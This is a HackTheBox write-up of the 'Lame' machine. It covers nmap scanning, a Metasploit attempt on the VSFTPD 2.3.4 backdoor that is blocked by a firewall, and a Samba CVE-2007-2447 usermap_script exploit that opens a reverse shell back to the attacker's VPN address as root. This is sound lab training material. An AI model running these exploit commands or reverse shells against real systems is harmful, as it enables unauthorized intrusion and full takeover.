
HackTheBox — Writeup

Lame

Difficulty: Easy

OS: Linux

Machine Author: ch4p

Writeup by: Lina Hamadache

“Enumeration is the key to every box.”

Contents

1	Synopsis	2
2	Enumeration	2
2.1	Nmap — Port Scanning	2
3	FTP — VSFTPD 2.3.4 (CVE-2011-2523)	3
3.1	What is VSFTPD?	3
3.2	How the Backdoor Works	3
3.3	Exploitation Attempt	3
3.4	Why Did It Fail? — The Firewall	3
4	SMB — Samba 3.0.20 (CVE-2007-2447)	4
4.1	What is Samba?	4
4.2	SMB Enumeration	4
4.3	Understanding CVE-2007-2447	4
5	Exploitation	5
5.1	Getting Our tun0 IP	5
5.2	Launching the Exploit	5
6	Post-Exploitation — Capturing the Flags	5
6.1	User Flag	5
6.2	Root Flag	5
7	Key Takeaways	6
8	Attack Summary	6

Synopsis

Lame is an **Easy** Linux machine and was the very first machine published on HackTheBox. It requires only one exploit to obtain root access, making it an ideal starting point for beginners. The machine runs several services including VSFTPd, SSH, and Samba. While the VSFTPd service appears vulnerable at first glance, a firewall prevents exploitation. The real attack path goes through the Samba service, which is vulnerable to **CVE-2007-2447**, allowing unauthenticated remote code execution directly as root.

Skills Required	Skills Learned
Basic Linux knowledge	Identifying vulnerable services
Port enumeration	Exploiting Samba (CVE-2007-2447)
	Understanding bind vs reverse shells
	Firewall detection and analysis

Enumeration

Nmap — Port Scanning

We begin by scanning all 65535 TCP ports to find open services, then run a detailed scan with version detection and default scripts:

```
# Step 1 - Find all open ports and save them in a variable
ports=$(nmap -p- --min-rate=1000 -T4 10.129.11.241 \
  | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,,$//)

# Step 2 - Detailed scan on open ports only
nmap -p$ports -sC -sV 10.129.11.241
```

Flag explanations:

- **-p-** — scan all 65535 ports
- **--min-rate=1000** — send at least 1000 packets/sec for speed
- **-sC** — run default NSE scripts (banner grabbing, vulnerability checks)
- **-sV** — detect service versions
- **\$ports** — variable containing only the open ports from step 1

Nmap reveals 4 open ports:

Port	State	Service	Version
21/tcp	open	FTP	vsFTPd 2.3.4
22/tcp	open	SSH	OpenSSH 4.7p1 Debian
139/tcp	open	Samba	smbd 3.X - 4.X
445/tcp	open	Samba	smbd 3.0.20-Debian

FTP — VSFTPD 2.3.4 (CVE-2011-2523)

What is VSFTPD?

VSFTPD (Very Secure FTP Daemon) is a widely used open-source FTP server for Linux systems. The version running here is **2.3.4**, which contains a famous backdoor introduced when the official download server was compromised in 2011.

How the Backdoor Works

VSFTPD 2.3.4 Backdoor Mechanism

When a user logs in with a username containing :) (a smiley face), VSFTPD secretly opens a **bind shell on port 6200**. Anyone who connects to that port gets full shell access with no password required.

Exploitation Attempt

We use **Metasploit** — a popular penetration testing framework containing hundreds of pre-built exploit modules. A **module** is simply a pre-written exploit that you configure and run:

```
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.129.11.241
run
```

Result — Exploit Failed

```
[*] 10.129.11.241:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 10.129.11.241:21 - USER: 331 Please specify the
    password.
[*] Exploit completed, but no session was created.
```

Why Did It Fail? — The Firewall

Even though the backdoor was triggered and port 6200 opened internally, a **firewall (iptables)** blocked all incoming connections from outside the machine. This was confirmed after gaining access via Samba by running:

```
netstat -tnlp      # shows all ports listening internally
iptables -L       # shows firewall rules blocking external access
```

This reveals a critical difference between two types of shells:

Shell Type	Direction	Firewall Impact
Bind Shell (VSFTPD)	You connect TO the target	Blocked by firewall
Reverse Shell (Samba)	Target connects back TO you	Bypasses firewall

SMB — Samba 3.0.20 (CVE-2007-2447)

What is Samba?

Samba is a service that enables file and printer sharing between Linux and Windows machines. Think of it as a shared network folder. Its presence is identified by ports 139 and 445 in our nmap scan.

SMB Enumeration

We enumerate available shares using `smbmap`:

```
smbmap -H 10.129.11.241
```

Disk	Permissions	Comment
----	-----	-----
print\$	NO ACCESS	Printer Drivers
tmp	READ, WRITE	oh noes!
opt	NO ACCESS	
IPC\$	NO ACCESS	IPC Service
ADMIN\$	NO ACCESS	IPC Service

We have **READ/WRITE** access to the `tmp` share. We connect anonymously to explore it:

```
smbclient -N \\10.129.11.241\tmp
```

Nothing immediately useful, but the Samba version **3.0.20** is our key lead. We search for known exploits:

```
searchsploit "Samba 3.0.20"
```

```
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script Command Execution
```

This matches **CVE-2007-2447** — a Remote Code Execution vulnerability!

Understanding CVE-2007-2447

CVE-2007-2447 Explained

CVE (Common Vulnerabilities and Exposures) is a unique identifier assigned to every known vulnerability, following the format **CVE-YEAR-NUMBER**.

Affected versions: Samba 3.0.20 to 3.0.25rc3

When Samba's `username map script` option is enabled in `smb.conf`, the `SamrChangePassword` function fails to sanitize user input. An attacker can inject **shell metacharacters** (such as backticks) inside the username field, causing the server to execute arbitrary system commands. This is a classic **Command Injection** attack.

Exploitation

Getting Our tun0 IP

Before launching the exploit, we need our HTB VPN IP address (tun0), which will receive the reverse shell connection:

```
ip a show tun0
# Look for the inet line, e.g: 10.10.15.124
```

Launching the Exploit

```
msfconsole
use exploit/multi/samba/usermap_script
set RHOSTS 10.129.11.241
set LHOST 10.10.15.124      # replace with your tun0 IP
run
```

Result — Root Shell Obtained!

```
[*] Started reverse TCP handler on 10.10.15.124:4444
[*] Command shell session 1 opened
    (10.10.15.124:4444 -> 10.129.11.241:40681)

id
uid=0(root) gid=0(root)
```

We land a shell **directly as root** — no privilege escalation required!

Post-Exploitation — Capturing the Flags

With a root shell, we have unrestricted access to the entire machine.

User Flag

```
cat /home/makis/user.txt
```

```
[user flag here]
```

Root Flag

```
cat /root/root.txt
```

```
[root flag here]
```

Key Takeaways

1. **Not every exploit works** — VSFTPD 2.3.4 has a real backdoor, but a firewall prevented us from reaching port 6200. Always try every lead, but never assume it will work.
2. **Bind shells vs Reverse shells** — Bind shells are blocked by firewalls because *you* connect to the target. Reverse shells bypass firewalls because the *target* connects back to you.
3. **Enumeration is everything** — Finding the exact Samba version through nmap directly led us to the winning exploit. Careful enumeration always reveals the path forward.
4. **CVEs are your roadmap** — Knowing the service version and searching for associated CVEs is a core skill that applies both to HTB and real-world penetration testing.

Attack Summary

Step	Action
1	Nmap scan reveals 4 open ports
2	VSFTPD 2.3.4 backdoor detected (CVE-2011-2523)
3	VSFTPD exploit fails — firewall blocks port 6200
4	Samba 3.0.20 identified on ports 139 and 445
5	CVE-2007-2447 found via searchsploit
6	Metasploit usermap_script module deployed
7	Reverse shell obtained directly as root
8	Both flags captured